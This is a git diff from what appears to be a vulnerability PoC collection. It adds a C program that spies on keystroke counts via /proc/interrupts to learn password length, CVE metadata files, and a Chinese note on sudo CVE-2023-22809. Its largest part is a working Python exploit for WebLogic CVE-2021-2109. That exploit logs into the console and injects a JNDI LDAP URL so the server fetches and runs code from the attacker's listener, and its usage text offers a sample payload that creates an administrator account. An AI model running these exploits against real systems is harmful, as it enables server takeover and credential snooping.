|
||||
if (fgets(buffer, sizeof(buffer), f) == NULL)
|
||||
err(1, "fgets");
|
||||
|
||||
if (sscanf(buffer, "%d", &pid) < 1)
|
||||
err(1, "sscanf");
|
||||
|
||||
pclose(f);
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int n, old, sum, i;
|
||||
int pid;
|
||||
char *pname = argv[1];
|
||||
|
||||
if (argc < 2)
|
||||
errx(1, "usage: spy-interrupts gksu");
|
||||
|
||||
puts("Waiting for mouse activity...");
|
||||
init_i8042_number();
|
||||
|
||||
pid = wait_for_program(pname);
|
||||
printf("%s is %d\n", pname, pid);
|
||||
|
||||
old = i8042_read();
|
||||
|
||||
sum = 0;
|
||||
|
||||
while (1) {
|
||||
n = i8042_read();
|
||||
if (old == n)
|
||||
usleep(10000);
|
||||
else {
|
||||
for (i = 0; i < n-old; i++)
|
||||
putchar('.');
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
sum += n - old;
|
||||
old = n;
|
||||
|
||||
if (kill(pid, 0) < 0 && errno == ESRCH)
|
||||
break;
|
||||
}
|
||||
|
||||
/*
|
||||
* #interrupts == 2 * #keystrokes.
|
||||
* #keystrokes = len(password) - 1 because of ENTER after the password.
|
||||
*/
|
||||
printf("\n%d keystrokes\n", (sum-2)/2);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
|
||||
In the Linux kernel through 3.1 there is an information disclosure issue via /proc/stat.
|
||||
|
||||
The file /proc/interrupts is world readable. It contains information about how many interrupts were emitted since the system boot. We may loop on one CPU core while the victim is executed on another, and learn the length of victim's passord via monitoring emitted interrupts' counters of the keyboard interrupt. The PoC counts only keystrokes number, but it can be easily extended to note the delays between the keystrokes and do the statistical analysis to learn the precise input characters.
|
||||
|
||||
The limitations:
|
||||
- it works on 2-core CPUs only.
|
||||
- it works on 1-keyboard systems only.
|
||||
- it doesn't carefully count the first and last keystrokes (e.g. ENTER after the password input).
|
||||
- it doesn't carefully filter keystrokes after ENTER.
|
||||
|
||||
run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
|
||||
|
||||
P.S. The harm of 0444 /proc/interrupts is known for a long time, but I was told about this specific attack vector by Tavis Ormandy just after similar PoC spy-sched was published.
|
|
@ -0,0 +1,18 @@
|
|||
id: CVE-2011-4916
|
||||
source: https://www.openwall.com/lists/oss-security/2011/11/05/3
|
||||
info:
|
||||
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
severity: medium
|
||||
description: Linux内核3.1版允许本地用户通过访问/dev/pts/和/dev/tty*来获取敏感的击键信息。
|
||||
scope-of-influence:
|
||||
Linux kernel <= 3.1
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2011-4916
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 5.5
|
||||
cve-id: CVE-2011-4916
|
||||
cwe-id: CWE-200
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: information disclosure
|
|
@ -0,0 +1,18 @@
|
|||
id: CVE-2011-4917
|
||||
source: https://www.openwall.com/lists/oss-security/2011/11/07/9
|
||||
info:
|
||||
name: Linux内核是一个自由和开源的、单片的、模块化的、多任务的、类似Unix的操作系统内核。它最初是由Linus Torvalds在1991年为他的基于i386的PC编写的,它很快就被采纳为GNU操作系统的内核,GNU被写成一个自由(liber)的Unix替代品。
|
||||
severity: medium
|
||||
description: 在3.1版本的Linux内核中,存在一个通过/proc/stat的信息泄露问题。
|
||||
scope-of-influence:
|
||||
Linux kernel <= 3.1
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/cve-2011-4917
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 5.5
|
||||
cve-id: CVE-2011-4917
|
||||
cwe-id: CWE-200
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: information disclosure
|
|
@ -0,0 +1,17 @@
|
|||
#sudo
|
||||
sudo是linux系统管理指令,允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
|
||||
|
||||
#CVE-2023-22809
|
||||
|
||||
CVE-2023-22809漏洞是sudo的一个权限提升漏洞,漏洞的CVSS评分为7.8。
|
||||
|
||||
##漏洞原因
|
||||
Sudo 的 -e 选项( sudoedit)功能对用户提供的环境变量(Sudo_EDITOR、VISUAL和EDITOR)中传递的额外参数处理不当。
|
||||
|
||||
当用户指定的编辑器包含使保护机制失效的“--”参数(绕过sudoers策略),具有sudoedit访问权限的本地用户可以通过在要处理的文件列表中添加任意条目后,通过编辑未经授权的文件来提升权限。
|
||||
|
||||
##漏洞影响
|
||||
漏洞影响sudo v1.8.0 - 1.9.12p1版本。
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,168 @@
|
|||
import urllib.request, urllib.parse, http.cookiejar, ssl
|
||||
import sys, os, optparse, subprocess, threading, time
|
||||
|
||||
## Static vars; change at will, but recommend leaving as is
|
||||
sURL = 'http://192.168.0.100:7001'
|
||||
iTimeout = 5
|
||||
oRun = None
|
||||
|
||||
## Ignore unsigned certs, if any because WebLogic is default HTTP
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
|
||||
class runJar(threading.Thread):
|
||||
def __init__(self, sJarFile, sCMD, sAddress):
|
||||
self.stdout = []
|
||||
self.stderr = ''
|
||||
self.cmd = sCMD
|
||||
self.addr = sAddress
|
||||
self.jarfile = sJarFile
|
||||
self.proc = None
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
|
||||
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
|
||||
for line in iter(self.proc.stderr.readline, ''): self.stderr += line
|
||||
|
||||
|
||||
def findJNDI():
|
||||
sCurDir = os.getcwd()
|
||||
sFile = ''
|
||||
for file in os.listdir(sCurDir):
|
||||
if 'JNDI' in file and '.jar' in file:
|
||||
sFile = file
|
||||
print('[+] Found and using ' + sFile)
|
||||
return sFile
|
||||
|
||||
def findJAVA(bVerbose):
|
||||
try:
|
||||
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
|
||||
except:
|
||||
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')
|
||||
sResult = list(oProc.stdout)[0].decode()
|
||||
if bVerbose: print('[+] Found Java: ' + sResult)
|
||||
|
||||
def checkParams(options, args):
|
||||
if args: sHost = args[0]
|
||||
else:
|
||||
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
|
||||
if sHost == '': sHost = sURL
|
||||
if sHost[-1:] == '/': sHost = sHost[:-1]
|
||||
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
|
||||
if options.username: sUser = options.username
|
||||
else:
|
||||
sUser = input('[?] Username [weblogic] : ')
|
||||
if sUser == '': sUser = 'weblogic'
|
||||
if options.password: sPass = options.password
|
||||
else:
|
||||
sPass = input('[?] Password [Passw0rd-] : ')
|
||||
if sPass == '': sPass = 'Passw0rd-'
|
||||
if options.command: sCMD = options.command
|
||||
else:
|
||||
sCMD = input('[?] Command to run [calc] : ')
|
||||
if sCMD == '': sCMD = 'calc'
|
||||
if options.listenaddr: sLHOST = options.listenaddr
|
||||
else:
|
||||
sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
|
||||
if sLHOST == '': sLHOST = '192.168.0.10'
|
||||
if options.verbose: bVerbose = True
|
||||
else: bVerbose = False
|
||||
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)
|
||||
|
||||
def startListener(sJarFile, sCMD, sAddress, bVerbose):
|
||||
global oRun
|
||||
oRun = runJar(sJarFile, sCMD, sAddress)
|
||||
oRun.start()
|
||||
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
|
||||
oRun.join(3)
|
||||
if not oRun.stderr == '':
|
||||
exit('[-] Error starting Java listener:\n' + oRun.stderr)
|
||||
bThisLine=False
|
||||
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
|
||||
for line in oRun.stdout:
|
||||
if bThisLine: return line.split('/')[3].replace('\n','')
|
||||
if 'JDK 1.8' in line: bThisLine = True
|
||||
|
||||
def endIt():
|
||||
global oRun
|
||||
print('[+] Closing threads')
|
||||
if oRun: oRun.proc.terminate()
|
||||
exit(0)
|
||||
|
||||
def main():
|
||||
usage = (
|
||||
'usage: %prog [options] URL \n'
|
||||
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
|
||||
' in the current working folder\n'
|
||||
'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
|
||||
'Only works when hacker is reachable via an IPv4 address\n'
|
||||
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
|
||||
'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
|
||||
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
|
||||
)
|
||||
|
||||
parser = optparse.OptionParser(usage=usage)
|
||||
parser.add_option('--username', '-u', dest='username')
|
||||
parser.add_option('--password', '-p', dest='password')
|
||||
parser.add_option('--command', '-c', dest='command')
|
||||
parser.add_option('--listen', '-l', dest='listenaddr')
|
||||
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)
|
||||
|
||||
## Get or ask for the vars
|
||||
(options, args) = parser.parse_args()
|
||||
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)
|
||||
|
||||
## Verify Java and JAR file
|
||||
sJarFile = findJNDI()
|
||||
findJAVA(bVerbose)
|
||||
|
||||
## Keep track of cookies between requests
|
||||
cj = http.cookiejar.CookieJar()
|
||||
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
|
||||
|
||||
print('[+] Verifying reachability')
|
||||
## Get the cookie
|
||||
oRequest = urllib.request.Request(url = sHost + '/console/')
|
||||
oResponse = oOpener.open(oRequest, timeout = iTimeout)
|
||||
for c in cj:
|
||||
if c.name == 'ADMINCONSOLESESSION':
|
||||
if bVerbose: print('[+] Got cookie "' + c.value + '"')
|
||||
|
||||
## Logging in
|
||||
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
|
||||
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
|
||||
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
|
||||
oResponse = oOpener.open(oRequest, timeout = iTimeout)
|
||||
sResult = oResponse.read().decode(errors='ignore').split('\r\n')
|
||||
bSuccess = True
|
||||
for line in sResult:
|
||||
if 'Authentication Denied' in line: bSuccess = False
|
||||
if bSuccess: print('[+] Succesfully logged in!\n')
|
||||
else: exit('[-] Authentication Denied')
|
||||
|
||||
## Launch the LDAP listener and retrieve the random endpoint value
|
||||
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
|
||||
if bVerbose: print('[+] Got Java value: ' + sRandom)
|
||||
|
||||
## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
|
||||
print('\n[+] Firing exploit now, hold on')
|
||||
## http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
|
||||
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
|
||||
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
|
||||
if bVerbose: print('[!] Using URL ' + sFullUrl)
|
||||
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
|
||||
oResponse = oOpener.open(oRequest, timeout = iTimeout)
|
||||
time.sleep(5)
|
||||
bExploitWorked = False
|
||||
for line in oRun.stdout:
|
||||
if 'Log a request' in line: bExploitWorked = True
|
||||
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
|
||||
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
|
||||
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
|
||||
if bVerbose: print(oRun.stderr)
|
||||
endIt()
|
||||
|
||||
if __name__ == "__main__":
|
||||
try: main()
|
||||
except KeyboardInterrupt: endIt()
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
id: CVE-2021-2109
|
||||
source: https://www.exploit-db.com/exploits/49461
|
||||
info:
|
||||
name: WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
|
||||
severity: high
|
||||
description: |
|
||||
Oracle 融合中间件(组件:控制台)的 Oracle WebLogic Server 产品中的漏洞。受影响的受支持版本为 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。容易利用的漏洞允许具有通过 HTTP 进行网络访问的高特权攻击者破坏 Oracle WebLogic Server。成功攻击此漏洞可导致接管 Oracle WebLogic Server。
|
||||
scope-of-influence:
|
||||
weblogic 10.3.6.0.0, weblogic 12.1.3.0.0, weblogic 12.2.1.3.0, weblogic 12.2.1.4.0, weblogic 14.1.1.0.0
|
||||
reference:
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2021-2109
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 7.2
|
||||
cve-id: CVE-2021-2109
|
||||
cwe-id: None
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: cve2021, Weblogic
|
|
@ -13,6 +13,7 @@ cve:
|
|||
- CVE-2022-24706
|
||||
- CVE-2023-23638
|
||||
apache-Dubbo:
|
||||
- CVE-2019-17564
|
||||
- CVE-2021-43297
|
||||
- CVE-2021-25641
|
||||
apache-Kafka:
|
||||
|
@ -39,7 +40,9 @@ cve:
|
|||
apache-unomi:
|
||||
- CVE-2020-13942
|
||||
apache-struts:
|
||||
- CVE-2019-0230
|
||||
- CVE-2019-0230
|
||||
apache-Shiro:
|
||||
- CVE-2022-32532
|
||||
Influx-DB:
|
||||
- CVE-2019-20933
|
||||
linux-kernel:
|
||||
|
@ -154,6 +157,7 @@ cve:
|
|||
redis:
|
||||
- CVE-2022-31144
|
||||
java-spring:
|
||||
- CVE-2017-8046
|
||||
- CVE-2020-5398
|
||||
- CVE-2022-22965
|
||||
- CVE-2022-22963
|
||||
|
@ -182,3 +186,5 @@ kve:
|
|||
- KVE-2022-0206
|
||||
kylin-activation:
|
||||
- KVE-2022-0231
|
||||
Java-SE:
|
||||
- CVE-2022-21449
|
||||
|
|
|
@ -14,6 +14,8 @@ cve:
|
|||
- CVE-2020-27194
|
||||
- CVE-2023-0179
|
||||
- CVE-2018-18955
|
||||
- CVE-2011-4917
|
||||
- CVE-2011-4916
|
||||
polkit:
|
||||
- CVE-2021-3560
|
||||
Outlook:
|
||||
|
@ -36,6 +38,7 @@ cve:
|
|||
apache-commons-text:
|
||||
- CVE-2022-42889
|
||||
apache-Struts:
|
||||
- CVE-2017-9805
|
||||
- CVE-2018-11776
|
||||
unzip:
|
||||
- CVE-2022-0529
|
||||
|
@ -45,6 +48,7 @@ cve:
|
|||
- CVE-2019-14287
|
||||
MinIO:
|
||||
- CVE-2023-28432
|
||||
- CVE-2023-28434
|
||||
WebLogic:
|
||||
- CVE-2023-21839
|
||||
Node.js:
|
||||
|
@ -59,5 +63,7 @@ cve:
|
|||
- CVE-2022-30525
|
||||
WordPress:
|
||||
- CVE-2019-8942
|
||||
Zimbra:
|
||||
- CVE-2022-41352
|
||||
cnvd:
|
||||
|
||||
|
|
Loading…
Reference in New Issue